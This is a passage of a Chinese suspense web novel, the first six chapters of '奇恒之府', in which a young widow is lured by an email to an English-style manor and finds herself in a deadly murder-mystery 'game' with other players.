《奇恒之府》 1. 第1章 德落亚庄园 《奇恒之府》全本免费阅读 “不要轻易答应男人的求婚。” “不要轻易相信男人的谎言。” “不要轻易和男人步入婚姻的殿堂。” 林璐对贺玉盈说。 …… 三天后,贺玉盈一身婚纱站在婚礼现场,得知了新郎的死讯。 婚礼自然取消了。 新郎是个孤儿,他的后事全由贺玉盈一个人处理。 他们是领完证才办的婚礼。 刚刚新婚就成了寡妇,前脚才忙完婚礼事宜,后脚就要准备丧礼,不少新朋好友都可怜贺玉盈。 贺玉盈整理男友的遗物时,林璐来看她。 她抬起头,眼眶红着,“璐璐,你实话告诉我,你是不是知道点儿什么?” 林璐是贺玉盈大学毕业后认识的朋友。她性格豪爽大方,为人热情,很快就和贺玉盈处成了闺蜜。 贺玉盈知道她是个不折不扣的不婚主义,因此即使林璐在婚礼三天前对她说出了这么不吉利的话,她也只是笑笑而已。 但现在她觉得那三句话就像个预言。 林璐垂头没说话。 那天之后,林璐消失了。 贺玉盈这时才恍然意识到她对林璐的了解少之又少。 她没见过她的家人,没见过她的朋友……她像是平白无故从这个世界上出现,又平白无故从这个世界上消失。 同样的人还有一个。 自称是孤儿的男友,突然死掉的男友,葬礼上连一个亲朋好友都没来的男友。 她相恋五年的男友。 贺玉盈确信林璐一定知道什么,用尽一切办法想要找到她,却始终没有任何线索。 正在绝望之时,她意外在男友的电脑中发现了一封隐秘的邮件。 邮件内容如下—— “尊敬的陆州先生: 祝您新婚快乐! 近日得知您在筹备婚礼,我由衷地为您感到高兴。祝贺您获得幸福。可是,为什么您没有将这个好消息告诉我?在我心里,您是最忠诚能干的助手,我一直将您视为我的左膀右臂,而如今,却连给您发送一封邮件都十分困难……总之,我对此感到十分遗憾。可即便如此,也请容我真心地说一句:新娘与您十分般配。看到您的新娘,就仿佛看到了最初的您。所以,我希望能邀请您的新娘来体验我们的游戏,不知您是否介意? 我由衷地对这次冒昧的打扰感到歉意,希望您能原谅我的失礼。即使您拒绝了我,我也不会感到丝毫不快,毕竟曾经我是如此的依赖您。 我会赠送您一个新婚礼物。 请来德落亚庄园小住如何?这里栽种着玫瑰与蔷薇,很适合作为您和新娘度蜜月的地点。 非常期待收到您的回复。 您最忠实的朋友” 像抓住了唯一的救命稻草,贺玉盈通过附件的地址来到了德落亚庄园。 …… 贺玉盈关上房间门。 “……所以,你就是这样被骗进游戏里的?”拥有一头卷曲黄发的女人躺在床上,看着她说。 贺玉盈点点头。 “真够蠢的,难道你没意识到那封邮件是个明显的陷阱?那是故意给你看的,”女人笃定地说,“要我说,你那个前男友可真缺德,竟然把你牵连进游戏里来,这不是摆明了报复你?” “嗯,不过,也要怪我自己好奇心太重。”贺玉盈的脸上没有被背叛后的愤怒,也没有被欺骗后的悲伤,她显出了一种诡异的平静。 贺玉盈知道这是个陷阱。 那封邮件表面上是写给男友陆州的,实则里面的每一句话都在诱导她来到这里。 她知道很危险,可是她必须来。 她无法接受男友莫名其妙地死去,也无法接受闺蜜无声无息地消失。 而德落亚庄园或许藏有她想要知道的答案。 黄发女人见她表情凝重,便不再继续这个话题,拉过被子说: “算了算了,不说了,明天游戏就真正开始了。” 贺玉盈走到床边,脱下鞋子爬上床。 “你们说的‘游戏’,就是说我们要找出那个没有被邀请来的客人吗?” “对,”黄发女人翻了个身,睁开眼睛不耐烦地看向她,“你还是新手吧?等玩完新手局就什么都知道了,不要问我这些事,我不想解释。” 所以说,到底为什么要把她跟新人分在一个房间? 她又不是专门来做新手指引的npc! “对不起,因为是第一次遇到这种奇怪的事,所以想多了解情况。” 黄发女人眯着眼睛瞥了她一眼,没看出来她有能称得上“对不起”这三个字的表情。 她反而来了点儿兴趣,“进来的时候,【助手】介绍了这局的游戏规则,跟刚刚管家说的大差不差,总之是要我们在七天内找出凶手,找到就赢,没找到就输。就这样。” “【助手】?” 黄发女人呼出一口气,突然有点儿埋怨自己为什么多嘴,现在又要费口水解释。 “就是每个玩家的指引,负责给你分配游戏任务讲解游戏规则什么的……这些你以后会知道。一般老玩家都有【助手】,新人要等玩完新手局后才能激活玩家身份,获得【助手】。”说到这里,黄发女人哼笑了一下,“你运气比较好,新手局能跟老玩家一起玩,可能什么都不用干就过了。有的人运气差,随机到的新手局是一个人,没人给他们讲游戏规则,两眼一抹黑,什么都不知道,除了输还是输。” …… 贺玉盈本以为来到这座庄园就能有点线索,可真实情况却远远超过她的预料。 在这里,她没有见到陆州,也没有见到林璐。 出租车离开后不久,一名身穿燕尾服的年轻管家突然出现在庄园门口,客气地把她迎进了庄园,简略地为她介绍这座美丽的庄园。 这是一座英式风格的庄园,据说曾为某位贵族所有,后来又经历了许多风雨,才被现在的主人买下,修建成了现在的模样。 贵族? 贺玉盈心想,她还是第一次听说这种事,正如她第一次听说这个庄园的存在一样。 邮件里说的都是真的,德落亚庄园栽种着玫瑰和蔷薇,它们在巨大的花圃中绚丽盛开。管家在经过这片显眼的花圃时顿住脚步。贺玉盈跟着他停下。 “……任何人都 2. 第2章 德落亚庄园 《奇恒之府》全本免费阅读 “你们来得太晚了。”坐在餐桌对面最右边的人说。 这个人叫齐天宇,长相普通,额前垂下的黑发几乎要遮住双眼,让人看不清神色。从昨天的表现来看,他最成熟镇定,像这个所谓的游戏里的老手,在众人中说话很有分量。 “我去叫她起床了。”陈绘拉开椅子,随便回答道。 贺玉盈立刻感觉到齐天宇的眼神落在了自己身上。 她心跳漏了一拍。 “睡到这么晚?” “……嗯,可能是因为昨晚太紧张了,睡得不好。”贺玉盈老老实实地说。 “紧张是正常的,”齐天宇安慰了一下,仿佛是随口一问,“你昨晚睡得不好?那听见了什么动静吗?” 这话一出,所有人齐刷刷地转过头看向她。 被一群认识了不到二十四小时的人同时这么露骨地盯着,贺玉盈顿时感到一阵头皮发麻。 “没听见。”她强装镇定地摇摇头。 “可惜了……”齐天宇叹息似的说了这么一句。 随着他的视线移开,那些盯着贺玉盈的目光也都离开了。 她松了口气。 “昨天不是刚来吗,为什么今早就死人了?”有人突然发问,“我们都还没睡醒呢,卧底就这么急?” 贺玉盈在脑海中搜刮昨天这个人的自我介绍。 他叫赵思焕,似乎是个玩过几局游戏,有点经验的人。 昨天管家离开之后,众人只简单地做了一下自我介绍,分配好房间就各自离开了,连一点要分析现状的意思都没有。贺玉盈见状,也只好稀里糊涂地跟着陈绘去房间。 陈绘一只手撑着脸,一只手在餐桌上胡乱点着,“昨天是安全期,零点一过不就行了?有什么奇怪的?” “我们都是两个人住一个房间,这样说的话……是不是跟他住在一个房间的人嫌疑最大啊?” 一个女孩喏喏道。 这个女孩好像也是个新人,她说自己叫月月。 “不一定,”齐天宇解释说,“我们检查过尸体了,没有外伤,很可能是毒杀,不一定是住在一起的人干的。” 陈绘转头问一个面色惊恐的男人:“喂,他昨天晚上吃过什么东西没有?” 这个男人正好坐在贺玉盈对面。 她记得他昨晚跟死者分到了一个房间里。 这人叫作朱腾。从贺玉盈来到餐厅开始,他就始终是这副惶惶不安的模样,脸色惨白,看起来受到了莫大的惊吓。 也难怪,任何人起床后发现自己身边躺着具尸体恐怕都会被吓成这样。 朱腾先是摇摇头,后又激烈地点点头。 陈绘眉头一皱,突然重重拍了下桌子。 “到底吃没吃过!” 这声巨响把众人的魂都吓了回来。 尤其是朱腾,效果十分明显。 他咽了咽口水,似乎恢复了些理智,“好像没吃……” “他回房间后都做了什么,你还记得吗?”齐天宇语气平稳。 “我们,我们在房间里聊了会儿天,讨论了一下这个游戏……”朱腾结结巴巴地说着,“然后,然后,他,他……” 朱腾一顿,忽然提高了音量,“哦!我想起来了!他,他说自己有点儿口渴,说要出去喝,喝杯水……” “然后呢?”陈绘皱紧眉头,十分不耐烦这种挤牙膏似的询问。 “……然后他就出去了,过了一会儿才回来……我们又聊了几句,就,就睡了。”朱腾颤抖,“等我醒过来就发现他死了……我真的,真的什么都不知道……” “他出去喝水是什么时间?” “我不,不知道……我没有手表……” 陈绘啧了一声,翘起腿,抱臂靠回到椅背上。 “如果真是毒杀,就算知道时间也没用,只要提前算好毒发的时间就行。” “嗯,有道理。”齐天宇想了一下,同意了她的说法。 “况且,”陈绘冷冷地看着朱腾,眼神像刀子一样锋利,“死的那个人到底有没有出去喝过水,还有得商量呢。” “如果真的是因为那杯水出了问题,那卧底是什么时候把毒下到水里的呢?”月月怯怯地问。 这个时候,餐厅的钟忽然敲响,众人皆是一凛,紧接着,管家带着餐车款款出现。 他向神情各异的众人行了个礼。 “尊敬的各位客人,已经到了用餐时间,希望各位能对我精心准备的食物感到满意。在用餐之前,请允许我再次无礼地提醒一下:德落亚庄园只欢迎收到邀请的九位客人。” “祝各位用餐愉快。” 在贺玉盈的视角下,餐桌上的每一个人都不由自主地打了个寒颤。 “……还得再死人才知道。” 陈绘慢悠悠地回答了月月之前提出的问题。 …… 众人心思各异地吃完了这顿饭。管家负责收拾餐桌上的残局。 陈绘挑挑眉,“管家,这些都是你一个人做吗?” “是的,客人。” “你主人很有钱吧?为什么不多雇点儿人?” “主人不喜欢庄园有太多人。主人喜欢安静。”管家彬彬有礼地回答。他动作迅速地整理好餐桌,向众人鞠了一躬,直起身说:“非常抱歉,客人们,我还有许多工作需要完成,先失陪了。” 说完,他推上餐车,如来时一般悄声离开了。 众人目送管家的背影彻底消失后,才收回目光。 齐天宇率先站起身,“大家分头看看吧,找找线索。” 这话说完,他也离开了。贺玉盈注意到他在离开时和陈绘对视了一眼。 不久,众人纷纷站起来往外走。这些人中,有人结伴而行,有人独自离开。 众人都起身后,贺玉盈才站起来对身边的陈绘说:“我能不能去看看尸体?” 闻言,陈绘用怀疑的眼光上下打量她。 “你会验尸?” 要是这个新人会验尸的话,那就让人又喜又忧了。 在这个游戏里,懂医学的人既可能是最有力的队友,又可能是最难缠的对手。 “不会。”贺玉盈摇头。 听到了否定的回答,陈绘心里还是有点儿遗憾,不过她没有表现出来,说:“尸体没什么好看的。” 她这话不假,也不是在敷衍贺玉盈。 既然她根本不会验尸,即使去看尸体也 3. 第3章 德落亚庄园 《奇恒之府》全本免费阅读 两人离开房间,恰好碰见了上楼的齐天宇和张松。 齐天宇看着她们来的方向,问:“去看尸体了?发现什么没有?” “没有。”贺玉盈说。 “跟我们之前推测的一样,被毒死的。”陈绘说,“你们呢?” “也没有。”齐天宇说,“现在正打算上楼,一起?” “行,走吧。” 几人两两并排走到第三层,准备去其他玩家的房间里看看。 齐天宇记得他们的房间位置,正准备推门时脸色一变。 “怎么了?”见他脸色不对,陈绘一边问,一边伸手推门。 “锁上了。”齐天宇退离门口,让开了位置。 陈绘试了试,果然被锁住了,当下表情也变得难看起来。 “我记得住这间房的人都不是新手了,锁门是什么意思?是不是藏了什么东西不能叫人发现?” 齐天宇渐渐恢复表情,“没关系,吃饭的时候我们提一下,到时候再来让他们开门。” 听了这话,陈绘不再多说什么,只是表情还是很难看。 “这层楼的房间好像都是锁住的。” 三人转头看向突然说话的贺玉盈,她站在不远处的一间房前,正扭着门把手。见几人都看了过来,她补充说:“……我从楼梯开始慢慢试过来的,没有一扇门能打开……是不是有什么原因?” 陈绘不理解她为什么要把功夫浪费在这种无聊的事情上。 在游戏里,与主线无关的剧情被模糊掉不是很正常的事情吗?何况这么大的庄园,也不一定每间房间都会被使用,不用的房间被锁起来也很合理。 “给我们房间钥匙的人是管家,这些房间的钥匙应该也是他在保管,要是好奇的话,吃饭的时候问问他吧。”齐天宇说。 贺玉盈低头看了眼手指,摩挲了一下,闻言点点头。 “嗯。” 几人没再往上走,而是下了楼。齐天宇和张松说想去其他地方看看,就离开了。 陈绘问贺玉盈:“我们去哪儿?” “为什么我们不分开行动呢?” 陈绘愣了下,随后不屑地哼了一声。 “要不是因为你是新人,谁稀罕跟你到处乱晃?没见过你这样的,有老玩家的大腿不抱,跑这儿嫌来嫌去的了……” 她一顿,忽然脸色一变,尖利地问:“你什么意思?你怀疑我是凶手,担心我跟着你是想害你?” “不是不是,”贺玉盈连忙否认,“我只是想不明白——万一我是凶手呢?” 陈绘冷笑,“你是凶手也没事,我死了,第一个被怀疑的人就是你,游戏就结束了。” “你……不怕死吗?” “怕死就赢不了。”陈绘冷冷地,“而且,游戏里死掉有什么大不了的,输了才会真的没命。” 贺玉盈没吭声。 陈绘看都懒得看她一眼,语气辛辣:“你最好还是提防点吧,说不定我真是那个凶手呢?” 贺玉盈不敢再触她的霉头,赶紧另起了个话题,“那个,我们现在去餐厅吧。” 现在离饭点还有两个小时。 虽然陈绘觉得餐厅不会有什么线索,但她一时之间不想和贺玉盈说话,于是没说什么,大步朝餐厅走去。 餐厅装饰得古朴而优雅。餐桌是长条状的,长边两侧各有六张椅子。餐桌上铺着绸布,摆放着鲜花,烛台和饰品。陈绘见贺玉盈一进餐厅就四处看了起来,每个人的椅子都被她检查过,就连餐桌上的摆设都让她摸过一遍,这模样看起来要多认真有多认真。 但是餐厅有什么好看的?朱腾说死者死前曾下楼喝了杯水,她认为更应该检查的是厨房,水壶及杯具。 “这些花都是真花啊,”陈绘听见贺玉盈小声说了这么一句,还看到她凑上去闻了一下,评价道,“香味有点儿淡了。” 陈绘无话可说。 她本着不能闲着的原则也开始在餐厅里到处检查,一直检查到众人都回到餐厅还一无所获。 众人都按照早上的位置坐下。 贺玉盈坐下后,一反常态,第一个提出问题: “抱歉,忘记问了,我只听到要让我们找出凶手,可是找到凶手后,怎么才算赢呢?还需要做什么吗?” 话刚刚说出口,贺玉盈又感受到了众人眼光齐聚自己身上的感觉。 “你有线索了吗?”齐天宇问。 贺玉盈照例摇摇头,“还说不上。” 陈绘在一旁扶额,都快被她的操作气到没脾气了。 众人都显而易见地露出失望的表情。 “一般规则没有明说的话,那么只要杀掉凶手就可以。”齐天宇说。 “杀掉?” “对,不用有太大的心理负担,杀掉的只是游戏里的人而已,并不是真正的杀人。”齐天宇补充说,“如果还是下不了手的话,可以向别人寻求帮助。” “……好吧,但如果找错了呢?” “没有什么影响。” “就算这样也不能随便杀人……自相残杀对我们是最不利的局面。”一直默默听着的陈绘锐利地扫了一眼桌上的人,蓦地开口。她这番话虽然是看着贺玉盈说的,但听起来倒像是故意说给所有人听的,“也别想着把除自己以外的人全部杀掉就能赢下游戏了,死掉的队友越多,凶手的赢面就越大……这个道理,你可能还不懂,所以我在这里多提一下,免得游戏进行到最后,有人会做出不体面的事情。” “我知道了,谢谢。” 餐桌上有人别开了脑袋。 “你是不是有怀疑对象了?”坐在齐天宇右手边的张松问贺玉盈。 “没有。”贺玉盈老实说。 张松面露失望。 “好了,马上就是饭点了,”齐天宇看了下餐厅里的时钟,“我们现在交换一下线索,说说看,大家到目前为止都去了哪里,发现了什么?有什么想法和问题都提出来。” 率先打破僵局的人叫钟一丰,就坐在朱腾的左手边。 “我跟黎远军和赵思焕,我们三个去看了管家说的那个花圃。” 他说出“花圃”这两个字后,几乎所有人都忍不住前倾身体,想要听得更清楚一点。 显而易见,管家所说的那个“绝不许任何人踏入”的花圃,一定藏着不为人知的秘密,很有可能就是这局游戏的关键线索。 “……可惜的是,我们去的时候管家已经在花圃了。在他的视线里,我们只能在外围看看,没能进去。”钟一丰耸耸肩。 他说完后 4. 第4章 德落亚庄园 《奇恒之府》全本免费阅读 “可,可能是管家知道自己被发现了,就跑了啊!”月月语气激动,“白棠,你怎么能不信我?不是………你们相信我啊!我说的是真的!” “不是怀疑你,也许是你看错了。外面阳光那么大,你又那么紧张,可能当时被晃花眼睛了。”白棠语气淡定地安抚她。 齐天宇微微垂着头,一言不发,似乎在静静地思考。 “我认为不能完全忽略月月说的话,在我们的观察中,管家确实很看重那个花圃,暗中盯着也说不定。”黎远军说。 “同意。”钟一丰举了下手。 张松小声说:“……想想那副画面就觉得瘆人。”说完,他打了个哆嗦,“要是我们真的在他眼皮子下进了花圃,会有什么后果?” “死路一条。”赵思焕耸耸肩。 陈绘微微仰起下巴,“反正迟早都会进花圃看的,到时候再想会有什么后果也不迟,别什么都还没做,就先把自己的胆子给吓没了。” 张松识趣地闭上嘴。赵思焕不置可否地哼了一声。 “陈绘说的有道理。最坏的后果只是出局而已,不会真的死掉,当务之急,还是要多分析目前的线索,早点找出卧底。”齐天宇抬起头,额前的黑发隐隐遮住了他的双眼。 “还有其他人要分析线索吗?”他问,“朱腾?” 猝不及防被人点到,贺玉盈看见朱腾浑身一颤,随即结结巴巴地说:“我在房间里,没怎么出去……” “放屁!”陈绘一拍桌子站了起来,指着朱腾的鼻子厉声道,“我跟贺玉盈去你房间怎么没看到你?屋子里躺了个死人,你还能呆一早上?” “我把房间都看了一遍,包括床底下和柜子里也看过了,你不在房间。”贺玉盈补充说。同时她心中讪讪,心想陈绘不会把对自己的气全撒到朱腾身上了吧。 陈绘和贺玉盈的话几乎捶死了朱腾,众人的脑袋都齐刷刷看了过去,看得朱腾满头大汗。 朱腾怎么想也没想到明明都已经看过尸体了,却还有人去他的房间。 他不住地用手背擦着额头的汗,紧张得脸都白了,眼睛四下乱飘,似乎正在想着合适的说辞。 “朱腾,解释一下呗。”赵思焕说。 朱腾本来就有嫌疑,要是再不解释,嫌疑将会进一步加大。 他抿了抿干燥的唇,小心翼翼地看了眼白棠。 陈绘皱眉,“不说话乱看什么?” 她转过头问白棠,“你们认识?” 白棠第一次大惊失色,“我不认识他!我以前见都没见过他!” “朱腾,”齐天宇见他半晌不吭声,难得沉下语气,“你打算什么都不说吗?” 不知是不是他这冰冷的语气起了作用,一直回避的朱腾慢慢低下头,嘴里嘟囔,“……我去她们房间了。” “什么?谁房间?白棠和月月的?” “嗯……”朱腾的声音越来越低。 餐桌上的每个人都互相观察着彼此的神色,心里全是计较。 “去她们房间干什么?是不是做了什么亏心事?”陈绘眯起眼睛,“……所以才这么遮遮掩掩的。要不是我们今天恰好去了你的房间发现你不在,是不是你就瞒天过海了?” 她说到后面,语调高高扬起,像是死神挥舞起镰刀。 “……”即使被她这么针对,朱腾也不敢看她,更别说为自己做辩解。 “对了,你是怎么去她们的房间的?你进去了吗?”贺玉盈骤然出声。 朱腾一言不发地摇头。 “我没进去。” “你没进去?”贺玉盈转头问白棠和月月,“你们锁上房间门了吗?” 白棠转了转眼球,正要开口,却被月月抢先一步回答:“没有,今天早上我是最后离开房间的,一听说出事了就赶紧下楼跟大家汇合了,可能连门都没关。” 她瞪着朱腾,“……早知道,还不如多个心眼,把门锁上了!” “说起这个,我有件事想问问你们。”齐天宇看向钟一丰三人,说,“我,张松,陈绘和贺玉盈去看了下第三层,也就是你们的房间——但是我们发现你们锁上了房间,能说说原因吗?” 黎远军三人没想到这么快他就将矛头指向他们,于是立刻交换眼神。 “没什么,”最后是由赵思焕出面回答,“不是说我们中间有一个卧底吗?我们担心这个人会进我们房间,所以就锁上了……朱腾不就是个例子?他说自己没进去,但是门没锁,谁知道他进没进?万一那个卧底进了我们房间放点什么东西,到时候我们死了,或者是被诬陷了,谁能帮我们伸冤?你?你们?还是朱腾?” 他话锋一转,“当然了,我们没想到你们会去我们的房间。难道每个人的房间你都要检查一遍吗?” “当然,”齐天宇神色不变地听完这段咄咄逼人的解释,在被反问时承认得很干脆利落,“我觉得这很有必要。” 赵思焕哑口无言。 餐厅的钟声敲响。 管家推着餐车出现。 “公平起见,等会儿吃完饭大家先别离开,一起去检查我们每个人的房间。” “这事是你提出来的,万一你提前做好了准备呢?” “这个你放心,”陈绘说,“我们是发现你们锁上门后才一起决定的,而且我们都不是单独行动,可以相互作证。” “对。”贺玉盈搭腔。 “我也可以证明。”张松说。 赵思焕这才噤声。 餐厅一下子安静了下来,只有管家布置刀叉所引起的响动。 “管家,能告诉我为什么第三层的房间都锁上了吗?”贺玉盈忽然问。 管家动作不变,平淡地回答:“……因为没有使用那些房间。” “为什么不使用?” 管家抬头看了她一眼,没什么表情。 “这个你要去问主人。” “那你的主人在哪儿?” “抱歉,客人,主人的行踪我不便告知。” “好吧。”贺玉盈露出失望的表情。 陈绘抽抽嘴角,不懂她是哪来的脸失望的。 贺玉盈沉默下来。管家布好餐食后便站到一旁,静静地等待他们用餐。 吃完饭后,管家开始收拾餐桌的残局。 “管家,我们真的不能去花圃吗?”贺玉盈忽然又问。 众人心想真是初生牛犊不怕虎,她就不怕管家生气了直接把她赶出庄园吗? “客人,我必须要告诉您,花圃绝对是庄园中任何人都无法进入的地方,希望您能遵守这项规定。” 管家的语气带着轻微的愠怒。 所有人都不由自主地埋着头,生怕这个npc被惹怒后殃及池鱼,同时也在心里埋怨贺玉盈多嘴——万一管家担心他们对花圃有想法,更严密地盯着花圃怎么办? 这时,安安静静坐着的白棠忽然站了起来,端着餐盘走到管家身边,语气讨好似的说: “我来帮忙收拾吧。” 管家的动作一顿,看了她一眼,终究没有再说什么,默许了她的做法。 贺玉盈若有所思地观察着管家和白棠。 “管家,你能进花圃吗?” 白棠的动作一僵,刀叉和碗碟碰撞出声响。 管家转过脸看了白棠一眼,慢慢接过她手上的碗碟,面无表情地继续收拾,说: “……客人,我是可以的,我需要替主人打理花圃。” 白棠低声对管家说了声抱歉,回到座位上。 “那就好,”贺玉盈一只手撑着头,一只手指了指桌上的玫瑰,“那你能采些新鲜的花把这些换掉吗?它们都蔫了。” 管家的目光移到桌上的花上,“非常抱歉,客人,我没有任何权利采摘主人花圃里的花。如果您需要鲜花,我会换上别的。” 像是听到了意料之外的回答,贺玉盈愣了一下,才说:“算了,不好意思再麻烦你了,就这样吧。” 管家点点头,收拾好餐桌,礼貌地对众人鞠了一躬,推上餐车,在贺玉盈的视线中离开了。 众人照之前说好的那样,一起去检查每一个人的房间。 贺玉盈和陈绘的房间简单得像是根本没有居住痕迹,没有什么特别的发现。朱腾和死者的房间大家都去过了,于是直接略过。 众人来到第三层。赵思焕打开房间让大家进去。 房间的格局和布置与第二层的一模一样。除了床铺有些凌乱之外,几乎看不出什么差别。贺玉盈在房间里随便走了走,不时碰碰墙壁,摸摸柜子。她走到窗边,推开窗户,探出头往外看。 陈绘注意到她的脑袋四下转动,来到她身后问:“看到什么了?” 贺玉盈收回头,指了指窗外,“这个视角好棒,刚好能看到下面的花圃。” 陈绘微微伸头看了眼。 确实,从这里看下去,那片美丽的花圃尽收眼底。 她想贺玉盈别的本事没有,这发现美的本领还真不少。 陈绘转过头,看见齐天宇对着墙壁上的油画出神。 似乎是察觉到视线,齐天宇抬眼对上她的视线,无声地摇摇头。 众人检查完就浩浩荡荡地去往第四层。 第四层房间的格局和布置也是一样的。从齐天宇和张松的房间出来后,众人便到了白棠和月月的房前。 “天哪!你们碰我们房间的东西了吗?”白棠一进房间就惊叫道。 黎远军侧身让她们过去:“我们一进来就是这样的,你们说什么?” < 5. 第5章 德落亚庄园 《奇恒之府》全本免费阅读 静悄悄的,每个人都绷紧了脸。 钟一丰的死亡如一颗石子被投进平静的湖面,荡起层层的涟漪。 陈绘和齐天宇就地检查了钟一丰的尸体。 “没有明显的伤口。”齐天宇说。 “还是毒杀?”陈绘说。 他点点头。 月月吸了吸鼻子,“可是我们一直待在一起的啊,他没吃什么东西吧……” “非要说的话,不是没有。”陈绘说。 张松试探地问:“不会是……我们的午饭吧?” “午饭一直是管家准备的,怎么可能会有问题?”赵思焕否决,“要是真有问题,这局游戏还能玩吗?” 还玩个屁! 而管家是在众目睽睽之下上的餐,不存在他们其中的某一个人在餐桌上做小动作的可能性。 众人都沉默下来。 贺玉盈从白棠和月月旁边挤了进去,蹲在旁边摆弄尸体。 陈绘没好气:“你干什么?” “我看看。“贺玉盈扶起尸体说。 陈绘懒得理她,对众人说:“可能我们中间的那个卧底有什么特殊办法能悄无声息地下毒,与其纠结这个,不如想想他为什么会死。” “我同意。”齐天宇说,“我们只需要找到那个卧底,不需要考虑他的手法,想得太多反而会偏离得很远。” 众人沉默着点点头,气氛十分压抑。 见大家形容萎靡,齐天宇宽慰道:“好了,游戏里死掉也不代表一定会死,当务之急还是要找出凶手来。大家两两一组,再分头找找线索吧——一定记住不要乱吃什么东西。” 众人还是沉默着点点头,就从房间中退了出来,各自分散开了。 “朱腾,”齐天宇叫住欲离开的朱腾,“你跟着我和张松。” 朱腾回身看了看齐天宇和张松,又看了看满脸厌恶的陈绘,身体一震。 “不,我要一个人,我不和你们一起……”朱腾说。 齐天宇皱起眉,“你一个人?” “嗯,我不和你们一起。我不和你们一起。” 朱腾神经质般地说完这两句话就匆匆跑走了。 看着他的背影消失在拐角处,陈绘冷冷啐了一口。 “演得真不错。” 齐天宇看了一眼还在检查尸体的贺玉盈,咳了一声,说:“……总之我们先走了,你跟贺玉盈注意着点儿。” 陈绘:“放心吧。” 齐天宇点点头就跟张松离开了。 陈绘抱臂站在门边,等着贺玉盈。 不久,贺玉盈站起身来,轻快地说:“好了,我们走吧。” 她表情轻松,隐隐带笑,好像是发现了什么重要线索。 陈绘心想这不对啊,尸体她都跟齐天宇看过了,普普通通,跟早上那一具尸体没什么区别。 她能发现什么? 挨不过心里好奇,陈绘问:“……你找到什么了?” “我知道他是怎么死的了。” 陈绘心里一惊,立刻追问:“怎么死的?” “现在还不能说。”贺玉盈摇头,“等到晚饭的时候,我再说吧。” “为什么现在不能说?”陈绘眼皮一跳,“……你怀疑隔墙有耳?” 贺玉盈看了她一眼,犹豫了一下,点头。 “晚饭的时候,所有人都在场,那个时候说才是最好的时机。” 陈绘和贺玉盈就此达成了短暂的和平。 两人无比和谐地搜索着庄园的各个角落,连贺玉盈像个蠢货一样试图去扭每一层所有房间的门把手,陈绘也能心平气和地在她旁边等她。 时间很快过去,马上要到晚饭的时间了,两人便往餐厅走去。 陈绘跟贺玉盈在走廊上并肩而走,光洁的地面倒映出华丽的灯饰。 “你为什么要这样做?你想找到什么?” “只是想尝试一下。” “尝试?” 贺玉盈转头对她露出了个笑容,这个笑容甚至比她发现钟一丰如何死亡的还要灿烂。 “嗯。因为一直很在意这一点。” “……”良久,陈绘才说:“可是你没有打开任何一扇门!” “不,其实……”贺玉盈想了想,说,“可能这不太重要?不过,也能作为尝试后的一种结果。” 陈绘长吐出一口气。 “你就没怀疑过那是游戏的bug吗?这些房间可能根本不重要。” “可能吧,总得试试才知道。”贺玉盈说。 两人一边闲话一边来到餐厅。 她们两个就坐后,众人也陆陆续续地来到餐厅坐下。 “还是老样子,大家说说自己的发现和想法。”见众人都入座了,齐天宇说。 陈绘碰了碰贺玉盈的胳膊。 贺玉盈掐着桌上新鲜的花,低声说:“先听听他们的。” 可是,没有一个人发言。 “没有人说话吗?”齐天宇表情复杂。 赵思焕的身体往后一仰,把脑袋搁在椅背上,懒散地说:“能说什么?现在才第一天!现实生活中玩这种游戏,第一天也还不是过得稀里糊涂。” 黎远军嗓音低沉,“可是我们已经死了两个人。” “对啊,两个人。今早刚起来就死了一个人,一天还没过完又死了第二个!这才第一天!”赵思焕哼笑,“这种级别的副本我从来没遇到过……游戏赢家的元核一定很多,真嫉妒。” “唉,”白棠也叹了口气,“凶手到底是谁呢?能做到这种程度,估计是榜上有名的哪个玩家。” 他们的话丧气得很,齐天宇都快听不下去了。 “对了!这不是一个好思路吗!”张松惊喜地说,“如果是厉害的玩家,说不定我们能凭借这一点推测出来呢?” 陈绘一句话就泼了冷水,“想什么呢,凶手能在短时间杀掉两个人还不被我们发现,最大的可能性是游戏给他的权力更大,而不一定是他的能力更强。想用那种方法来找凶手,呵,痴人说梦。” 此话一出,张松蔫蔫地闭上了嘴。 陈绘最看不得别人一副如丧考妣的样子。 “贺玉盈,现在说吗?” 餐厅的钟声敲响,所有人好奇地把目光望向贺玉盈。 管家推着餐车准时到来。 “好吧,”贺玉盈收回捏着花瓣的手,微笑着说,“钟一丰的死因,在于他的后颈。” 她声音不大,却如一道惊雷震响。 6. 第6章 德落亚庄园 《奇恒之府》全本免费阅读 餐厅灯火通明。管家说完以后便又沉默地立在一旁,像一座石雕。 “谢谢你,管家。” 管家如机械般缓慢抬头,贺玉盈冲他展颜一笑。 “我注意到了桌上的鲜花,是你换下来的吗?” “是的,客人。”管家彬彬有礼地回答说:“尽力满足客人的需求是我的职责所在。” “我很喜欢玫瑰。”贺玉盈重复了一遍,“谢谢你,管家。” 晚餐过后,管家收拾好餐具,如往常一样离开了。 众人也纷纷离开了餐厅,或许有人准备回房间,或许有人还想在庄园里四处看看。 贺玉盈和陈绘属于后者。 她们跟齐天宇和张松来到朱腾的房间门口,仔细检查了一遍钟一丰的后颈,果然如贺玉盈所说,有个细小的伤口。经过了几个小时,这处伤口周围隐隐发黑,比白天那时候更容易发现。 看完尸体后,齐天宇让刚刚回来的朱腾换房间,劝说他不要和尸体住在一起。 朱腾冷硬地拒绝了他们,自顾自搬出床上的尸体,重重关上了房门。 四人碰了一鼻子灰,神情复杂,各自散开了。 洗漱完,一进房间,陈绘就掀开被子躺了上去,头发散在枕头上。 “我好像小瞧你了。” 贺玉盈仔细锁上房门,回过头便见她挑眉看着自己。贺玉盈神情自若地走向窗边,问:“为什么这么说?” “那种小伤口你都能发现,还不足以说明问题吗?” “好吧。”贺玉盈检查完窗户,慢慢挪到床边,“其实没有你说得那么厉害。” 她脱下鞋爬到床上。 陈绘看着她的举动,突然不屑地哼了一声,“经不起夸。” “……” “今天的事,你有什么看法?”陈绘破天荒地主动问起她。 贺玉盈摇摇头,“扑朔迷离,线索太少了,还不能随便下结论。” “很谨慎。怀疑对象呢?有吗?” 贺玉盈没说话。 “看你这样子,是有了?” “……单论嫌疑程度,朱腾应该是重点关注对象。” 陈绘挑挑眉,“朱腾?他的嫌疑确实很大。第一次交流就满嘴谎言,后面还无缘无故地跑到白棠她们房间里——竟然只是为了偷一件外套,太荒谬了。而且偏偏是偷一件外套,我真不明白,他偷一件外套有什么用?” “游戏和外界的世界相通吗?” 贺玉盈是打车来到这里的,按理来说应该是相通的,可是一进来她就发现手机用不了了。 “不相通。” 果然。 